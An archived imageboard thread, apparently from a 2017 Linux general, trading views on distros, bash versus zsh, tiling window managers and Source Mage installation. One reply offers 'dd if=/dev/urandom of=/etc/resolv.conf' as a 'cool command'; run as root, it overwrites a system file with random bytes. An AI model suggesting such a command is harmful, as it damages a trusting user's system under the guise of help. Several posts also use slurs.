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My ssd died last night and I'll be reinstalling OS' today
As a normie user of i3, will I notice any differences if I switch to Debian from Arch? I don't think I had anything crazy installed from the AUR that I would be missing. Is Debian stability over arch a meme in Q3 2017?
Carson Flores
FUCK YOU CANONICAL
William Bailey
I like arch better because the software is newer.
Stability just means old in debian terms. There's no reason to use debian on anything other than a server.
Carter Gutierrez
I like how the gnu tryout section start at 0, nice touch.
Looking for a daily driver OS that I can install steam, etc onto to maintain some normie status but not be on botnet 10.
Sebastian Bailey
I feel like I had a lot of stability issues using Antergos and i3 in combination. Specifically in combination because I was getting issues in i3 that I wouldn't get in Antergos with Openbox or Solus with i3.
As someone who generally doesn't do much 'under the hood' work I was wondering if I should install the exact same antergos + i3 setup again or try something different.
Carson Butler
>repeating the same old meme How about gaining some knowlege?
Mason Nguyen
install openSUSE Tumbleweed
Benjamin Cruz
Are you saying that Debian packages are newer than Arch packages?
Robert Powell
>anything behind arch is old If you don't want to trigger people try using more precise terms than "old".
Jordan Sanchez
While I don't know your problem or even Antergos really well, I figure yea, you should just try again if you feel this is the only problem you had.
'cause it sounds more likely that this was a bug somewhere in the Xorg - i3 stack or something rather than a profound distro specific issue.
Apart from that, if it's just i3, why not try awesome wm or some such another powerful automatic tiling wm? Not like that's TERRIBLY profoundly different.
Easton Brown
why
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you
typing
like
this
Jackson Moore
How can portage be the best package manager if it's written in python, the most unstable clusterfuck of a programming language in the known universe? >python >python2 >python2.7 >python3 >python3.6 >python3.6m
Brody Garcia
>Apart from that, if it's just i3, why not try awesome wm or some such another powerful automatic tiling wm? Not like that's TERRIBLY profoundly different.
Ignoring my problems, what would be the reason to switch / what does awesome provide over i3?
I guess because i3 was the first I used and worked, switching would have felt like "distro hopping" to a similar de.
Thomas Bailey
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Cameron Sanders
No, but they aren't older also if you use Sid.
William Clark
Please user, make me want to install gentoo again.
Not going to try and write a treatise on all the subtle and not so subtle differences in features and default configuration and how they might be superior or inferior - it's only a suggestion for another pretty nice tiling WM with a good bunch of features that you might try first when dodging a bugged i3.
Matthew Clark
What are some cool terminal commands?
Jose Johnson
in hopes i get one
Justin Ortiz
dd if=/dev/urandom of=/etc/resolv.conf
Colton Hill
For disabling acceleration you could try xinput set-prop "$id" "libinput Accel Profile Enabled" 0 1 you can get the id of your mouse from xinput --list
For ffmpeg and mpv you can use apt-get build-dep to grab the build dependancies and then just grab the source and follow the instructions.
Regarding speakers you will have to give more details like how you "know" they are not detected, what DE, what they are connected to, pulse/nopulse, penis size.
Kayden Gray
systemd-analyze plot > startup.svg
Actually, the commands that do the thing you need done are the cool ones.
Kevin Sanchez
function awktunes() { awk 'function wl() { rate=64000; return (rate/160)*(0.87055^(int(rand()*10)))}; BEGIN { srand(); wla=wl(); while(1) { wlb=wla; wla=wl(); if (wla==wlb) {wla*=2;}; d=(rand()*10+5)*rate/4; a=b=0; c=128; ca=40/wla; cb=20/wlb; de=rate/10; di=0; for (i=0;iwla) {a=0; ca*=-1}; if (b>wlb) {b=0; cb*=-1}; if (di>de) {di=0; ca*=0.9; cb*=0.9}; printf("%c",c)}; c=int(c); while(c!=128) { c
Carson Miller
general smgl manual cast smgl-setup man smgl-setup
sorcery tui settings manager sorcery
update sorcery sorcery update
update grimoires scribe update
rebuild everything sorcery rebuild
rebuild packages needing an upgrade sorcery upgrade
cast and reconfigure spell cast -r
reinstall dispelled package from cache (if you still have it there and don't want to recompile it) resurrect
after casting new spells you need this to have apropos, man -k, and whatis makewhatis
list grimoires scribe index
to check for broken installations cleanse --fix
delete completely a spell dispel --nosustain
Jackson Gomez
What a waste of a post.
Ethan Watson
echo -e \\e#8
James Adams
Cool commands senpai
Alexander James
curl cheat.sh
Alexander Brown
Try this: printf 'main(t){for(;++t
Nathan Richardson
bash or zsh or fish?
Gabriel White
zsh has better tab completion and such. Most of my scripts are in perl or python anyway.
Jason Richardson
/bin/sh
Eli Taylor
hello
installed manjaro with xfce, worked gr8. now whenever i shutdown or reboot(shutdown -h now) it freezes after closing everything.
it gets stuck on my background so i assume it isn't closing xfce?? pls help
Jayden Nelson
I've made some observations about people who use zsh and I know why most of them think it's better than bash.
People switch to zsh either to be special snowflakes or because they see cool zsh prompts in desktop threads or because they hear it has better completion (I personally don't think it does). Most of them have no idea that the same look can be achieved with bash, that you can embed commands into your PS1, they probably haven't heard of PS2, PS3 and PS4 and they probably don't even know what readline is. They haven't heard of inputrc, they don't know how to add custom keybinds to macros in bash, they don't know that you can change the editing mode of the interactive shell to be Vi-like. They don't know about incremental search nor do they know about different completion settings.
Some may say that it's better for scripting, but scripting in a non standard shell is pointless, since you still need to know POSIX scripting and in most cases bash, since it has more features than sh and unlike zsh it's everywhere. If you want to use a sane language for scripting, use python or if you're working on a larger project, you might also want to consider using a non interpreted programming language like C.
Zsh users are mostly ignorant impresionable people, hipsters of all sorts including nu-male macfag webdev sitting at starbucks types and most of them like to pretend to be cool for using a non standard shell while barely having scratched the surface of bash/readline and I do not want to be associated with them in any way. In order to make an informed decision about which shell to use, you've got to at least know the basics of both shells and what readline is and what you can do with it.
I personally don't see a valid reason to switch to zsh. I think zsh is bloat mostly for the sake of it. There might be valid reasons to use zsh, but most people certainly don't do it for valid reasons.
Christopher Nelson
If you want to customize stuff or adopt a huge pre-customized configuration, it's probably zsh. Gazillions of configurable features.
Also good for your-own-use-only scripting. Zsh's scripting dialect is ultimately more pleasant than bash's if you ask me.
But bash and fish aren't weak either. Maybe you just should try them all.
Nathaniel Bell
>If you want to customize stuff or adopt a huge pre-customized configuration, it's probably zsh. Gazillions of configurable features. I'd say thats a meme. All shells are customizable.
Ian Diaz
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Dylan Young
bash >simple >does the job >doesn't come in your way >muh gnu >muh gpl
Dominic Mitchell
zsh has completion across remote hosts for SSH commands and seems to tab complete arguments of commands better. If there's a way to add that to bash then sure, I'll switch back.
Not to this degree. It has been a primary focus of ZSH to have in-depth configurable features for almost 30 years now.
It's somewhat the EMACS of shells. No, not every other shell has as many features and tweakables- the gap is generally quite large.
Oliver Anderson
>pulse/nopulse, penis size. Don't know what you mean?
Also I want to compile because outdated versions of ffmpeg/mpv
Isaac Reyes
Examples?
Adam Lopez
But is bloat, most features can be done with an .inputrc file. Please educate yourself.
Ethan Williams
zsh is easier for newbies to rice, yes. That is even a valid reason to use it.
>zsh has completion across remote hosts for SSH commands I know scp has a bash completion function on debian that completes remote files. Just checked for ssh and it doesn't complete for remote commands but it is certainly possible if anyone could be bothered. Here is the openssh-client completion btw if you want to copy _scp_remote_files() termbin.com/fy9g
Jaxson Garcia
>there are people in this ITT thread RIGHT NOW not using the GNU shell
Austin Garcia
>zsh is easier for newbies to rice, yes. Examples? It's not like that PS1='benis@benis%' or alias ohmybenis='echo benis :D' is hard.
Angel Turner
i'm with bash
Jacob Hernandez
>That is even a valid reason to use it. It is not. Noobs need to learn the standard shell first.
Ayden Flores
That is a lot different than installing a theme manager for zsh and switching through them until you find something with sufficiently decombobulating pastel colours and unicode emojis buffeting your poptart sparlkilng cursor.
>Noobs need to learn the standard shell first. You sound like a really terrible person.
John Smith
So I deleted very much small and medium sized data(Ebooks etc) from my drive and my System was quite unresponsive, even MINUTES after the Files where succesfully deleted,
I'd like to know what exactly happend with my System. With confidence I was able to fire up some monitoring tools. But I am not quite sure how to review what really happend. Here are 2 screenshots, maybe someone of you can explain to me why my (Dec.2016 1200€) fapping machine stroked so hard on this one
What file system are you using? Where did you learn english you weirdo?
Hunter Thompson
>You sound like a really terrible person. You sound like a person to whom it makes sense to run before crawl.
Adam Morgan
>ohmyz.sh/ >collection of aliases, which work 90% on all other shells, much mac crap, much chucknorris and LOL >installing a "plugin manager" to set up aliases and functions >end up with a huge configuration, can't remember a single command good for beginners, yes
Josiah Evans
Is it worth spending time actually learning bash/CLI? I've been using linux for a few years on and off now (like 6) and I kind of only know enough CLI to get by, I learn more when something comes up and I have to.
Benjamin Mitchell
redpill me on GNU shell, bash is comfy
Levi Ward
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Connor Lewis
why aren't my Ktorrent files seeding?
Samuel Fisher
>I really don't write often in english sorry for that
ext4 ontop of LVM on a SSD
Jaxon Phillips
If you don't have a terminal open 24/7, you only have 10% of all the fun. It's worth it. Start writing some scripts which automate stuff you do daily to kick off.
Cooper James
I have a terminal open 24/7 (yakuake is top-tier dropdown) but I use it for mostly brainlet activities like youtube-dl
Jordan Sanchez
all the time you've spent on GNU (and Linux) without honing and utilizing your CLI skills are wasted
Blake Kelly
Does installing source mage takes as much time as gentoo? Do they have binaries?
Brandon Howard
>installing binaries on a source based distro gentoofags are embrassing whats the point, showing off the gentoo logo?
Easton Richardson
I still find it a comfy OS, more comfy than windows, I don't consider it a waste, my computer is a tool more than a fun project. I just do CLI work when something breaks.
Austin Bell
>uninstall your file manager, your graphical editors, package management frontends, graphical archiving tools, torrent client, etc >replace everything you can with CLI/TUI >do this for a month >... >???
Bentley Lopez
because nobody is downloading lol
Benjamin Foster
>not using the C Shell
Jayden Collins
it's useless and tcsh is no better
Cameron Ortiz
>not writing your own shell plebs
Camden Robinson
install gentoo
Adam Lee
I use the gnome-shell.
Logan Ortiz
Wizards Assemble!
Advanced users of GNU/Linux (and I mean advanced), remember to try Source Mage GNU/Linux. True source-based distribution, and (in contrast with Gentoo and Arch) is: Free from obfuscated and pre-configured code. Fully committed to GPL, uses only free software (as in freedom) in their main package. With even the documentation licensed as FDL. Without 3rd party patches, sensible defaults or masked packages. Doesn't need obfuscated python libraries, only bash. No systemd (they've implemented their own init scripts system sourcemage.org/Init). Uses clean dependencies as they came from upstream developers, which by the same provides instant updates. Can heal broken installs. Can also use flags.
Do you like Arch Linux's AUR? Do you like Gentoo's portage (or ports-like) package manager? With SMGL's "sorcery" you get all that. Making new spells (package build files) not found in the grimoire (repository of spells) is easy sourcemage.org/Spell/Book
Installing SMGL is easy, here's the simplified process: >boot a live Ubuntu (or whatever) USB drive >go to SMGL website and download compressed archive of the base system >partition and mount partition(s) >extract the archive onto the new partition(s) >chroot, set root passwd, hostname, configure network and locale, write fstab, install grub/lilo >reboot >compile a kernel (preferably the newest stable one from kernel.org) >update sorcery, grimoires and the build toolchain >rebuild the system (hold spells you've already built, so you don't build them twice) The install guide will hold your hand through the whole process sourcemage.org/Install/Chroot Do the chroot method, since the regular live ISO method guide is out of date currently.
>You sound like a person to whom it makes sense to run before crawl. Nope, I am someone who thinks you should let people choose their level of immersion. You don't need to know posix shell to install themes and post in desktop threads, you don't need to be able to write scripts to drive a linux desktop. As much as it may make you or me sad these are facts and taking a passive aggresive approach to people who like things you don't like is not a helpful attitude.
Gabriel Wilson
>file manager I can already do all of this in CLI
>package management same deal
>graphical archiving tools yep
>torrent client don't see the point of this, just makes things harder to manage, maybe I could see the value if you mean setting up the back end of an rTorrent web interface or something
Is there anything more to learn about CLI? Maybe I should be looking at learning bash scripts now for automation
Jordan Gutierrez
I have written my own shell, but I'd rather use a more full featured one.
Logan Clark
Took less time on my laptop than with gentoo
Charles Miller
Which is the best software to create a boot-able USB. I need to get off wincuck immediately.
Sebastian Gomez
Rufus
Jace Baker
rufus is good
Easton Peterson
Transmission had a nice ncurses interface which is dead easy
Ryan Rivera
Try rufus.
Aaron Thompson
I'm managing 700 torrents right now, the GUI speeds things up immensely, I have no doubt I could run most things in CLI with little issue, just whats the point if its less efficient anyway?
>You don't need to know [X] before knowing [F(X)], where [X] is a statement and [F(X)] a derived statement from [X] via rule [F]. You need to if you want to understand [F] and I want people to understand [F].
Sebastian Perez
Thank you
Jonathan Harris
>not using rtorrent
Ryan Lopez
I used SystemRescueCD but had to point to bash to chroot, installation is easy, will try port a spell next
